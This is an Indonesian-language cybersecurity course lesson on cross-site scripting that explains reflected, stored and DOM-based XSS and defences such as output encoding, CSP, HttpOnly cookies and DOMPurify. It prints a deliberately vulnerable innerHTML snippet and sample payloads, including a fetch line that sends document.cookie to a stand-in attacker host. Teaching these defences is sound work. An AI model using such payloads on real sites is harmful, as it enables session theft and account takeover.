0Pricing
Cyber Security Academy · Pelajaran

Cross-Site Scripting (XSS)

Pelajari XSS tercermin, tersimpan, dan berbasis DOM dengan muatan nyata serta mitigasi CSP

Cross-Site Scripting (XSS) adalah pelajaran Cyber Security Academy gratis di CoddyKit. Ini adalah pelajaran 2 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Cyber Security Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Cyber Security Academy mencakup 4 pelajaran total.

Apa itu XSS?

Skrip Lintas Situs (XSS) terjadi ketika penyerang menyisipkan JavaScript berbahaya ke halaman web yang dilihat pengguna lain. Peramban menjalankan skrip tersebut dalam konteks sesi korban, sehingga memungkinkan pencurian kuki, pencatatan penekanan tombol, dan manipulasi halaman.

XSS Terpantul

XSS terpantul (nonpersisten): skrip berbahaya disertakan dalam permintaan (misalnya, parameter URL) dan dipantulkan dalam respons. Korban harus mengeklik tautan yang dibuat khusus. Contoh: https://site.com/search?q=<script>alert(1)</script>

XSS Tersimpan

XSS tersimpan (persisten): skrip berbahaya disimpan dalam basis data (misalnya, komentar atau bidang profil) dan disajikan kepada setiap pengunjung. Lebih berbahaya daripada XSS terpantul karena tidak diperlukan tautan khusus—setiap tampilan halaman memicu skrip tersebut.

XSS Berbasis DOM

XSS berbasis DOM terjadi ketika JavaScript membaca data yang dikendalikan penyerang (fragmen URL, parameter kueri) lalu menuliskannya ke DOM tanpa sanitasi. Serangan berlangsung sepenuhnya di sisi klien; peladen tidak pernah melihat muatannya.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Dampak XSS

Hal yang dapat dilakukan penyerang dengan XSS:

  • Mencuri kuki sesi (document.cookie) → mengambil alih akun
  • Mencatat penekanan tombol (mencuri kata sandi saat diketik)
  • Mengalihkan ke situs pengelabuan
  • Melakukan tindakan sebagai korban (CSRF melalui XSS)
  • Mengubah tampilan halaman secara paksa

Muatan Serangan XSS

Muatan pengujian sederhana:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Pengodean Keluaran

Pertahanan utama: enkode semua keluaran yang dikendalikan pengguna sebelum menyisipkannya ke HTML. Ubah karakter khusus menjadi entitas HTML: < → &lt;, > → &gt;, " → &quot;.

Gunakan pengodean yang sesuai konteks: HTML, JS, URL, CSS.

Kebijakan Keamanan Konten (CSP)

CSP adalah tajuk respons yang memberi tahu peramban skrip mana yang diizinkan untuk dijalankan. CSP yang ketat memblokir skrip sebaris dan membatasi sumber:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Kuki HttpOnly

Menetapkan bendera HttpOnly pada kuki sesi mencegah JavaScript membacanya melalui document.cookie. Bahkan jika XSS berjalan, penyerang tidak dapat mencuri token sesi. Ini adalah lapisan mitigasi terpenting selain pengodean keluaran.

Pustaka Sanitasi

Saat pengguna harus diizinkan memasukkan HTML (misalnya, pada editor teks kaya), gunakan pustaka sanitasi, bukan menulisnya sendiri:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Pengujian XSS

Uji XSS dengan alat pengembang peramban, Burp Suite, atau pemindai otomatis. Periksa semua bidang masukan pengguna, parameter URL, tajuk HTTP, dan fungsi sink DOM: innerHTML, document.write, eval, setTimeout dengan argumen berupa teks.

Pemeriksaan Singkat: XSS

Jenis XSS mana yang menyimpan muatan berbahaya dalam basis data sehingga dijalankan untuk setiap pengunjung halaman yang terdampak?

Ringkasan Pelajaran

XSS menyisipkan JavaScript ke halaman yang dilihat korban. Jenisnya: terpantul (berbasis URL), tersimpan (dipertahankan dalam basis data), dan berbasis DOM (sisi klien). Pertahanan utama: pengodean keluaran, kuki HttpOnly, dan Kebijakan Keamanan Konten. Gunakan DOMPurify untuk sanitasi HTML. Jangan pernah menyisipkan data pengguna yang belum disanitasi ke innerHTML atau eval().

Pertanyaan yang Sering Diajukan

Apakah pelajaran “Cross-Site Scripting (XSS)” gratis?

Ya — teks lengkap “Cross-Site Scripting (XSS)” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Cyber Security Academy, upgrade ke CoddyKit PRO. Kursus Cyber Security Academy mencakup 4 pelajaran total.

Apa yang akan aku pelajari di “Cross-Site Scripting (XSS)”?

Pelajari XSS tercermin, tersimpan, dan berbasis DOM dengan muatan nyata serta mitigasi CSP Kamu berlatih Cyber Security Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.

Apakah aku perlu pengalaman untuk memulai Cyber Security Academy?

Tidak diperlukan pengalaman sebelumnya. Cyber Security Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 2 dari 4.

Berapa lama pelajaran “Cross-Site Scripting (XSS)” memakan waktu?

Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.

Bisakah aku menulis dan menjalankan kode dalam pelajaran Cyber Security Academy ini?

Ya. Setiap pelajaran Cyber Security Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.

Semua pelajaran dalam kursus ini

  1. Injeksi SQL: Cara dan Alasan Kerjanya
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Kesalahan Konfigurasi Keamanan dan Layanan yang Terbuka
← Kembali ke Cyber Security Academy